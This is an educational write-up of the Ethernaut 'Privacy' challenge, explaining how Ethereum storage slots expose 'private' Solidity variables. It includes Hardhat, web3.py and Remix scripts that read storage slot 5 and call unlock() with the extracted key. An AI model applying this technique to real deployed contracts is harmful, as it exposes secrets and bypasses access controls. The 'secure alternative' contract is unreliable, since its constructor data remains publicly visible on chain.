Skip to content
On this page

Decoding Ethereum Storage: A Deep Dive into the Ethernaut "Privacy" Challenge

Introduction

In the world of Ethereum smart contract security, understanding how data is stored and accessed is fundamental to both development and security auditing. The Ethernaut "Privacy" challenge presents a perfect case study for exploring Ethereum's storage model, demonstrating that what appears to be "private" data in Solidity contracts may not be as secure as developers might assume. This technical article will dissect the Privacy challenge, explaining the underlying concepts, demonstrating exploitation techniques, and providing comprehensive insights into Ethereum storage mechanics.

Understanding the Challenge

The Privacy Contract Overview

The Privacy contract is a deceptively simple Solidity smart contract that appears to protect sensitive data through the use of private variables. At first glance, it seems to implement basic access control through a locking mechanism, requiring a specific key to unlock the contract. However, as we'll explore, the contract's security is fundamentally flawed due to misconceptions about data privacy on the Ethereum blockchain.

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }
}

The Security Premise

The contract's author believed that marking variables as private would make them inaccessible to external parties. This is a common misconception among Solidity developers transitioning from traditional programming environments. In Ethereum, all contract storage is publicly readable on the blockchain - the private keyword only affects visibility within the Solidity language itself, not actual data accessibility.

Ethereum Storage Fundamentals

How Ethereum Storage Works

Ethereum uses a key-value storage model where each contract has its own storage space organized into 32-byte (256-bit) slots. These slots are indexed starting from 0, and variables are packed into these slots according to specific rules:

  1. Sequential Allocation: Variables are allocated storage slots in the order they're declared
  2. Packing Optimization: Multiple variables that occupy less than 32 bytes can be packed into a single storage slot if they fit together
  3. Alignment Rules: Variables are aligned according to their type and size

Storage Slot Calculation

Let's analyze how the Privacy contract's variables are stored:

  1. Slot 0: bool public locked (1 byte) - occupies the first byte of slot 0
  2. Slot 1: uint256 public ID (32 bytes) - requires a full slot due to its size
  3. Slot 2: Packed variables:
    • uint8 private flattening (1 byte)
    • uint8 private denomination (1 byte)
    • uint16 private awkwardness (2 bytes)
    • Total: 4 bytes packed into slot 2
  4. Slots 3-5: bytes32[3] private data - each bytes32 element occupies a full slot

The Critical Misunderstanding

The contract developer assumed that private variables would be hidden from external viewers. However, in Ethereum:

  • All contract storage is publicly accessible via blockchain explorers or direct RPC calls
  • The private modifier only prevents other contracts from accessing these variables directly
  • Anyone can read any storage slot using eth_getStorageAt or similar methods

Step-by-Step Exploitation Analysis

Phase 1: Understanding the Unlock Mechanism

The unlock function requires a bytes16 key that must match bytes16(data[2]):

solidity
function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
}

This reveals our target: we need to extract data[2] from storage and convert it to bytes16.

Phase 2: Calculating Storage Locations

Based on our storage analysis:

  • data[0] is at slot 3
  • data[1] is at slot 4
  • data[2] is at slot 5

Therefore, we need to read storage slot 5 to obtain data[2].

Phase 3: Extracting the Key

The key extraction involves two steps:

  1. Reading the raw bytes32 value from slot 5
  2. Converting it to bytes16 (taking the first 16 bytes)

Phase 4: Type Conversion Understanding

When we convert bytes32 to bytes16 in Solidity, it truncates the last 16 bytes, keeping only the first 16 bytes. This is crucial for understanding what portion of data[2] we actually need.

Practical Exploitation Implementation

Method 1: Using Hardhat/TypeScript

The provided solution demonstrates a clean implementation using Hardhat and TypeScript:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Privacy } from "../typechain-types";

describe("Privacy", function () {
  describe("Privacy testnet sepolia", function () {
    it("testnet sepolia Privacy", async function () {
      const PRIVACY_ADDRESS = "0x...";
      const PRIVACY_ABI = [
        "function locked() external view returns (bool)", 
        "function unlock(bytes16 _key) public"
      ];

      const challenger = await ethers.getNamedSigner("deployer");
      const privacyContract = new ethers.Contract(
        PRIVACY_ADDRESS, 
        PRIVACY_ABI, 
        challenger
      );

      const SLOT5 = 5;
      const data2 = await ethers.provider.getStorage(
        PRIVACY_ADDRESS, 
        SLOT5
      );
      const key = data2.slice(0, 34); // Extract first 16 bytes (32 hex chars + '0x')

      const LOCKED = true;
      let stateLocked = await privacyContract.locked();
      expect(stateLocked).to.be.equals(LOCKED);

      const tx = await privacyContract.unlock(key);
      await tx.wait();

      const UNLOCKED = false;
      stateLocked = await privacyContract.locked();
      expect(stateLocked).to.be.equals(UNLOCKED);
    });
  });
});

Method 2: Using Web3.py (Python Alternative)

For those preferring Python, here's an equivalent implementation:

python
from web3 import Web3
import json

# Connect to Ethereum node
w3 = Web3(Web3.HTTPProvider('https://sepolia.infura.io/v3/YOUR_INFURA_KEY'))

# Contract details
contract_address = '0x...'
contract_abi = [
    {
        "inputs": [],
        "name": "locked",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [{"internalType": "bytes16", "name": "_key", "type": "bytes16"}],
        "name": "unlock",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
]

# Create contract instance
contract = w3.eth.contract(address=contract_address, abi=contract_abi)

# Read storage slot 5
storage_slot = 5
data2 = w3.eth.get_storage_at(contract_address, storage_slot)

# Convert bytes32 to bytes16 (take first 16 bytes)
key = data2[:16]

# Check initial state
initial_locked = contract.functions.locked().call()
print(f"Initial locked state: {initial_locked}")

# Unlock the contract
tx_hash = contract.functions.unlock(key).transact({
    'from': w3.eth.accounts[0],
    'gas': 100000
})
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)

# Verify unlock
final_locked = contract.functions.locked().call()
print(f"Final locked state: {final_locked}")

Method 3: Using Remix IDE

For educational purposes, here's how to exploit the contract using Remix:

  1. Deploy the Contract: First, deploy the Privacy contract with sample data
  2. Get Storage Values: Use Remix's debugger or web3.js console to read storage
  3. Extract the Key:
javascript
// In Remix console
const slot5 = await web3.eth.getStorageAt(contractAddress, 5);
const key = slot5.slice(0, 34); // '0x' + first 32 hex characters
  1. Call Unlock: Use the extracted key to call the unlock function

Advanced Concepts and Considerations

Gas Optimization Through Storage Packing

The Privacy contract demonstrates storage packing in action. Let's examine slot 2 more closely:

solidity
uint8 private flattening = 10;        // Position: bytes 0-1
uint8 private denomination = 255;     // Position: bytes 1-2  
uint16 private awkwardness = uint16(block.timestamp); // Position: bytes 2-4

These three variables (1+1+2 = 4 bytes) are packed into a single 32-byte slot, saving significant gas costs compared to storing each in separate slots.

Security Implications of Storage Visibility

This challenge highlights several critical security considerations:

  1. Never Store Sensitive Data in Plaintext: Any data stored on-chain is publicly accessible
  2. Use Encryption for Sensitive Information: If sensitive data must be stored, encrypt it off-chain and store only hashes or encrypted versions
  3. Understand the Limits of private: The private keyword only provides language-level privacy, not blockchain-level privacy

Real-World Impact

Similar vulnerabilities have been exploited in real-world contracts:

  • Private keys or seeds accidentally stored in contract variables
  • Sensitive business logic parameters exposed through storage
  • Access control mechanisms bypassed by reading "hidden" state variables

Prevention and Best Practices

Secure Storage Patterns

To properly protect sensitive data:

  1. Use Commit-Reveal Schemes: For sensitive inputs, use hash commitments
  2. Implement Proper Access Control: Use modifiers and ownership patterns
  3. Store Hashes, Not Raw Data: Store keccak256 hashes of sensitive information
  4. Consider Off-Chain Storage: Use IPFS, Swarm, or centralized storage with on-chain pointers

Code Example: Secure Alternative

Here's a more secure implementation approach:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SecurePrivacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    
    // Store only the hash of sensitive data
    bytes32 private dataHash;
    
    constructor(bytes32[3] memory _data) {
        // Hash the data instead of storing it directly
        dataHash = keccak256(abi.encodePacked(_data[0], _data[1], _data[2]));
    }
    
    function unlock(bytes32[3] memory _data) public {
        // Verify the hash matches
        require(
            keccak256(abi.encodePacked(_data[0], _data[1], _data[2])) == dataHash,
            "Invalid key"
        );
        locked = false;
    }
    
    // Additional security: only allow one unlock attempt
    bool private alreadyUnlocked;
    modifier onlyOnce() {
        require(!alreadyUnlocked, "Already unlocked");
        _;
        alreadyUnlocked = true;
    }
    
    function secureUnlock(bytes32[3] memory _data) public onlyOnce {
        require(
            keccak256(abi.encodePacked(_data[0], _data[1], _data[2])) == dataHash,
            "Invalid key"
        );
        locked = false;
    }
}

Testing and Verification Strategies

Comprehensive Test Suite

When developing contracts with sensitive data, implement thorough testing:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";

describe("Privacy Security Tests", function () {
  let privacy: any;
  let owner: any;
  let attacker: any;

  beforeEach(async function () {
    [owner, attacker] = await ethers.getSigners();
    
    const testData = [
      ethers.utils.formatBytes32String("secret1"),
      ethers.utils.formatBytes32String("secret2"),
      ethers.utils.formatBytes32String("secret3")
    ];
    
    const PrivacyFactory = await ethers.getContractFactory("Privacy");
    privacy = await PrivacyFactory.deploy(testData);
    await privacy.deployed();
  });

  it("should not expose private data through public methods", async function () {
    // Attempt to read private variables (should fail at compile time)
    // This test verifies language-level privacy
  });

  it("should prevent unauthorized unlocking", async function () {
    const initiallyLocked = await privacy.locked();
    expect(initiallyLocked).to.be.true;
  });

  it("demonstrates storage readability", async function () {
    // This test demonstrates the vulnerability
    const slot5 = await ethers.provider.getStorageAt(privacy.address, 5);
    const key = slot5.slice(0, 34);
    
    // Show that we can extract the key
    console.log("Extracted key:", key);
    
    // Verify we can unlock with extracted key
    await privacy.unlock(key);
    const finallyLocked = await privacy.locked();
    expect(finallyLocked).to.be.false;
  });
});

Tools and Resources for Security Analysis

Essential Security Tools

  1. Slither: Static analysis framework for Solidity
  2. Mythril: Security analysis tool for EVM bytecode
  3. Ethersplay: EVM disassembler
  4. Remix Debugger: Step-by-step transaction analysis
  5. Tenderly: Transaction simulation and debugging

Reading Storage: Multiple Approaches

javascript
// Using ethers.js
const data = await provider.getStorageAt(contractAddress, slotNumber);

// Using web3.js
const data = await web3.eth.getStorageAt(contractAddress, slotNumber);

// Using cast (from Foundry)
cast storage contractAddress slotNumber

// Using curl with JSON-RPC
curl -X POST https://mainnet.infura.io/v3/YOUR-PROJECT-ID \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "method": "eth_getStorageAt",
    "params": ["0xcontractAddress", "0xslotNumber", "latest"],
    "id": 1
  }'

Conclusion

The Ethernaut Privacy challenge serves as an excellent educational tool for understanding Ethereum's storage model and the limitations of data privacy in smart contracts. Key takeaways include:

  1. Storage is Public: All contract storage is readable on the blockchain
  2. private is Not Private: The keyword only affects Solidity visibility, not actual data accessibility
  3. Packing Matters: Understanding storage packing is crucial for gas optimization
  4. Security Requires Layered Approaches: Never rely on a single mechanism for data protection

This challenge reinforces the importance of thorough security understanding in blockchain development. As the ecosystem evolves, developers must continuously educate themselves about the unique characteristics and constraints of decentralized systems. The Privacy challenge, while seemingly simple, encapsulates fundamental concepts that every Ethereum developer should master to build secure, efficient, and robust smart contracts.

Further Reading and Resources

  1. Ethereum Yellow Paper: Formal specification of Ethereum
  2. Solidity Documentation: Storage layout and visibility
  3. OpenZeppelin Security Considerations: Best practices for secure development
  4. Consensys Smart Contract Best Practices: Comprehensive security guidelines
  5. Ethernaut Challenges: Additional security exercises and learning opportunities

By mastering these concepts and applying the lessons from challenges like Privacy, developers can contribute to a more secure and robust Ethereum ecosystem, protecting both their applications and their users from potentially catastrophic security failures.

Built with AiAda